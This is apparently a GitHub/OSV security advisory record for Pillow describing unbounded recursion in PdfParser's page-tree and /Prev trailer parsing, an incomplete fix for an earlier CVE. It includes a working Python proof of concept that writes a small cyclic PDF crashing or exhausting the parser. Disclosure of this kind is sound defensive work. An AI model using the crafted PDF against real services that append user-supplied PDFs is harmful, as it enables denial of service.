{"id":"GHSA-p4wg-p73j-c528","summary":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","details":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -\u003e 3 -\u003e 2).\nobjs = {\n    1: b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n    2: b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n    3: b\"\u003c\u003c /Type /Pages /Kids [2 0 R] /Count 1 \u003e\u003e\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n\u003c\u003c /Root 1 0 R /Size 4 \u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.","aliases":["CVE-2026-112895"],"modified":"2026-10-20T21:00:04.433571782Z","published":"2026-10-20T20:50:49Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-20T20:50:49Z","nvd_published_at":"2026-10-19T22:17:09Z","cwe_ids":["CWE-674"]},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p4wg-p73j-c528/GHSA-p4wg-p73j-c528.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}